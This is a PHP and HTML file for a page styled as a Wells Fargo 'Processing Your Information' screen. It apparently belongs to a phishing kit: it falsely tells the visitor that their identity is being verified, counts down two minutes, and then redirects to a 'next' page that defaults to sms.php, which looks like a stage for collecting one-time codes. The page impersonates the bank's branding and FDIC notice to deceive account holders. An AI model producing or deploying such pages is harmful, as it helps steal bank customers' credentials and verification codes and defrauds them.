<?php

?><!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Cormorant+Garamond:wght@300;400;500;600&family=DM+Sans:wght@300;400;500&display=swap" rel="stylesheet">
    <title>Wells Fargo — Please Wait</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --red:        #C0392B;
            --red-dark:   #96281b;
            --red-deep:   #6b1a12;
            --red-light:  rgba(192,57,43,0.07);
            --text:       #1a1a1a;
            --text-sub:   #555;
            --text-muted: #999;
            --border:     #e2e2e2;
            --white:      #ffffff;
        }
        html, body { height: 100%; font-family: 'DM Sans', sans-serif; }
        body { display: grid; grid-template-columns: 1fr 1fr; min-height: 100vh; }

        /* ── LEFT PANEL ─────────────────────────────── */
        .panel-left {
            background: linear-gradient(150deg, #1a0a08 0%, #2d0f0a 35%, #C0392B 100%);
            position: relative; display: flex; flex-direction: column;
            justify-content: space-between; padding: 52px 56px 56px; overflow: hidden;
        }
        .watermark { position: absolute; bottom: -6%; right: -14%; width: 88%; opacity: 0.055; pointer-events: none; user-select: none; }
        .watermark img { width: 100%; height: auto; display: block; filter: brightness(0) invert(1); }
        .panel-left::before { content: ''; position: absolute; inset: 0; background: radial-gradient(ellipse 65% 55% at 0% 100%, rgba(0,0,0,0.4) 0%, transparent 60%), radial-gradient(ellipse 45% 35% at 100% 0%, rgba(192,57,43,0.2) 0%, transparent 55%); pointer-events: none; }
        .panel-left::after { content: ''; position: absolute; left: 56px; right: 56px; top: 50%; height: 1px; background: linear-gradient(90deg, rgba(255,255,255,0.12) 0%, rgba(255,255,255,0.02) 100%); pointer-events: none; }
        .panel-top { position: relative; z-index: 2; }
        .panel-logo img { height: 42px; width: auto; display: block; filter: brightness(0) invert(1); opacity: 0.9; }
        .panel-bottom { position: relative; z-index: 2; }
        .eyebrow { font-size: 10.5px; font-weight: 500; letter-spacing: 0.22em; text-transform: uppercase; color: rgba(255,255,255,0.45); margin-bottom: 20px; display: flex; align-items: center; gap: 10px; }
        .eyebrow::before { content: ''; display: block; width: 28px; height: 1px; background: rgba(255,255,255,0.3); }
        .panel-headline { font-family: 'Cormorant Garamond', serif; font-size: clamp(28px, 2.8vw, 46px); font-weight: 300; line-height: 1.18; color: #fff; margin-bottom: 22px; letter-spacing: -0.01em; }
        .panel-headline em { font-style: italic; color: rgba(255,255,255,0.55); }
        .panel-sub { font-size: 13.5px; font-weight: 300; color: rgba(255,255,255,0.34); line-height: 1.8; max-width: 300px; }

        .process-steps { margin-top: 36px; display: flex; flex-direction: column; gap: 16px; }
        .process-step { display: flex; align-items: center; gap: 14px; }
        .process-dot { width: 8px; height: 8px; border-radius: 50%; background: var(--red); box-shadow: 0 0 10px rgba(192,57,43,0.6); flex-shrink: 0; animation: pulse 2s infinite; }
        @keyframes pulse { 0%,100% { opacity: 1; transform: scale(1); } 50% { opacity: 0.5; transform: scale(0.7); } }
        .process-step-text { font-size: 13px; color: rgba(255,255,255,0.45); font-weight: 300; }

        /* ── RIGHT PANEL ─────────────────────────────── */
        .panel-right {
            display: flex; flex-direction: column; justify-content: center; align-items: center;
            padding: 60px 44px; background: var(--white); overflow-y: auto; position: relative;
        }
        .panel-right::before { content: ''; position: absolute; top: 0; right: 0; width: 220px; height: 220px; background: radial-gradient(ellipse at 100% 0%, rgba(192,57,43,0.04) 0%, transparent 70%); pointer-events: none; }

        .login-card { width: 100%; max-width: 400px; text-align: center; animation: fadeUp 0.5s cubic-bezier(0.22,1,0.36,1) both; }
        @keyframes fadeUp { from { opacity: 0; transform: translateY(20px); } to { opacity: 1; transform: translateY(0); } }

        .card-logo { margin-bottom: 28px; }
        .card-logo img { height: 44px; width: auto; display: block; margin: 0 auto; object-fit: contain; }

        .step-indicator { display: flex; align-items: center; gap: 8px; margin-bottom: 32px; }
        .step { display: flex; align-items: center; justify-content: center; width: 26px; height: 26px; border-radius: 50%; font-size: 11px; font-weight: 600; flex-shrink: 0; }
        .step.done   { background: var(--red); color: #fff; }
        .step.active { background: var(--red-deep); color: #fff; box-shadow: 0 0 0 4px rgba(192,57,43,0.15); }
        .step.pending{ background: #f0f0f0; color: #bbb; }
        .step-line      { flex: 1; height: 1.5px; background: var(--border); border-radius: 2px; }
        .step-line.done { background: var(--red); opacity: 0.4; }

        .ring-wrap { position: relative; width: 148px; height: 148px; margin: 0 auto 30px; }
        .ring-wrap svg { width: 148px; height: 148px; transform: rotate(-90deg); }
        .ring-track { fill: none; stroke: #f0eaea; stroke-width: 6; }
        .ring-progress { fill: none; stroke: var(--red); stroke-width: 6; stroke-linecap: round; stroke-dasharray: 326.7; stroke-dashoffset: 0; transition: stroke-dashoffset 1s linear; filter: drop-shadow(0 0 6px rgba(192,57,43,0.4)); }
        .ring-label { position: absolute; inset: 0; display: flex; flex-direction: column; align-items: center; justify-content: center; }
        .ring-time { font-family: 'Cormorant Garamond', serif; font-size: 30px; font-weight: 500; color: var(--red-deep); line-height: 1; }
        .ring-unit { font-size: 11px; color: var(--text-muted); margin-top: 5px; letter-spacing: 0.06em; text-transform: uppercase; }

        .wait-heading { margin-bottom: 26px; }
        .wait-heading h1 { font-family: 'Cormorant Garamond', serif; font-size: 22px; font-weight: 500; color: var(--red-deep); margin-bottom: 8px; }
        .wait-heading p { font-size: 13.5px; color: var(--text-muted); font-weight: 300; line-height: 1.65; max-width: 300px; margin: 0 auto; }

        .prog-dots { display: flex; justify-content: center; gap: 9px; margin-bottom: 26px; }
        .prog-dots span { width: 9px; height: 9px; border-radius: 50%; background: #f0e5e5; transition: background 0.4s, transform 0.3s; }
        .prog-dots span.lit { background: var(--red); transform: scale(1.2); box-shadow: 0 0 6px rgba(192,57,43,0.4); }

        .info-notice { display: inline-flex; align-items: center; gap: 9px; background: var(--red-light); border: 1px solid rgba(192,57,43,0.18); border-radius: 5px; padding: 11px 18px; font-size: 12.5px; color: var(--red); font-weight: 500; }

        .fdic-row { margin-top: 32px; display: flex; align-items: center; justify-content: center; gap: 10px; }
        .fdic-badge { background: #1b3d8c; color: #fff; font-size: 10px; font-weight: 800; letter-spacing: 0.07em; padding: 3px 6px; border-radius: 2px; flex-shrink: 0; }
        .fdic-text { font-size: 10.5px; color: var(--text-muted); }

        @media (max-width: 768px) { body { grid-template-columns: 1fr; } .panel-left { display: none; } .panel-right { min-height: 100vh; padding: 48px 28px; } }
    </style>
</head>
<body>

<div class="panel-left">
    <div class="watermark"><img src="res/img/logo3.svg" alt=""></div>
    <div class="panel-top">
        <div class="panel-logo"><img src="res/img/logo3.svg" alt="Wells Fargo"></div>
    </div>
    <div class="panel-bottom">
        <div class="eyebrow">Secure Processing</div>
        <h2 class="panel-headline">Almost<br><em>there.</em></h2>
        <p class="panel-sub">We're securely verifying your identity and preparing your session. Please keep this window open.</p>
        <div class="process-steps">
            <div class="process-step"><div class="process-dot" style="animation-delay:0s"></div><span class="process-step-text">Verifying your identity</span></div>
            <div class="process-step"><div class="process-dot" style="animation-delay:0.4s"></div><span class="process-step-text">Encrypting your session</span></div>
            <div class="process-step"><div class="process-dot" style="animation-delay:0.8s"></div><span class="process-step-text">Preparing verification code</span></div>
        </div>
    </div>
</div>

<div class="panel-right">
    <div class="login-card">
        <div class="card-logo"><img src="res/img/logo.jpg" alt="Wells Fargo"></div>

        <div class="step-indicator">
            <div class="step done">✓</div><div class="step-line done"></div>
            <div class="step done">✓</div><div class="step-line done"></div>
            <div class="step active">3</div>
        </div>

        <div class="ring-wrap">
            <svg viewBox="0 0 110 110"><circle class="ring-track" cx="55" cy="55" r="52"/><circle class="ring-progress" id="rp" cx="55" cy="55" r="52"/></svg>
            <div class="ring-label"><div class="ring-time" id="td">2:00</div><div class="ring-unit">remaining</div></div>
        </div>

        <div class="wait-heading">
            <h1>Processing Your Information</h1>
            <p>Please wait up to 2 minutes while we securely process your request.</p>
        </div>

        <div class="prog-dots">
            <span id="d0"></span><span id="d1"></span><span id="d2"></span><span id="d3"></span><span id="d4"></span>
        </div>

        <div class="info-notice">
            <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>
            Do not close or refresh this page
        </div>

        <div class="fdic-row">
            <span class="fdic-badge">FDIC</span>
            <span class="fdic-text">Member FDIC. Equal Housing Lender.</span>
        </div>
    </div>
</div>

<script>
    var next = "<?php echo htmlspecialchars($_GET['next'] ?? 'sms.php', ENT_QUOTES); ?>";
    const TOTAL = 120; let rem = TOTAL;
    const disp = document.getElementById('td'), ring = document.getElementById('rp');
    const CIRC = 2 * Math.PI * 52;
    const dots = [0,1,2,3,4].map(i => document.getElementById('d' + i));
    function tick() {
        const m = Math.floor(rem / 60), s = rem % 60;
        disp.textContent = m + ':' + String(s).padStart(2, '0');
        ring.style.strokeDashoffset = CIRC * (1 - rem / TOTAL);
        const lit = Math.floor(((TOTAL - rem) / TOTAL) * dots.length);
        dots.forEach((d, i) => d.classList.toggle('lit', i <= lit));
        if (rem <= 0) { clearInterval(t); window.location = next; } else rem--;
    }
    tick(); const t = setInterval(tick, 1000);
</script>
</body>
</html>